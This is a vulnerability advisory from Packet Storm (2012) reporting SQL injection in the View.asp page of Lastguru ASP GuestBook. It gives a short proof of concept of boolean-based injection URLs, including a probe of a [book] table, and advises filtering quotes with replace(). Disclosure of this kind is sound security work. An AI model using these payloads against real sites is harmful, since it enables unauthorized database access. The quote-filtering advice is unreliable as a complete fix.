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Lastguru ASP Guestbook SQL Injection

🗓️ 04 Mar 2012 00:00:00Reported by demonalexType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Lastguru ASP GuestBook SQL Injection Vulnerability, impact Mediu

Code
`Title: Lastguru ASP GuestBook 'View.asp' - SQL Injection Vulnerability  
  
Product : Lastguru ASP GuestBook  
  
Version : Free Version  
  
Vendor: http://www.LastGuru.com  
  
Class: Input Validation Error   
  
CVE:  
  
Remote: Yes   
  
Local: No   
  
Published: 2012-03-04  
  
Updated:   
  
Impact : Medium (CVSSv2 Base : 7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P)  
  
Bug Description :  
Page 'View.asp' of Lastguru ASP GuestBook(Free Version) is vulnerable with SQL Injection Vulnerability.  
  
POC:  
#-------------------------------------------------------------  
http://victim/[email protected]' and 'a'='a  
http://victim/[email protected]' and 'a'='b  
http://victim/[email protected]' and 0<(select count(*) from [book]) and 'a'='a  
etc...  
#-------------------------------------------------------------  
  
Advice:  
Use 'replace()' for filtering single quote and other dangerous symbols.  
  
Credits : This vulnerability was discovered by [email protected]  
mail: [email protected] / [email protected]  
Pentester/Researcher  
Dark2S Security Team/PolyU.HK  
`

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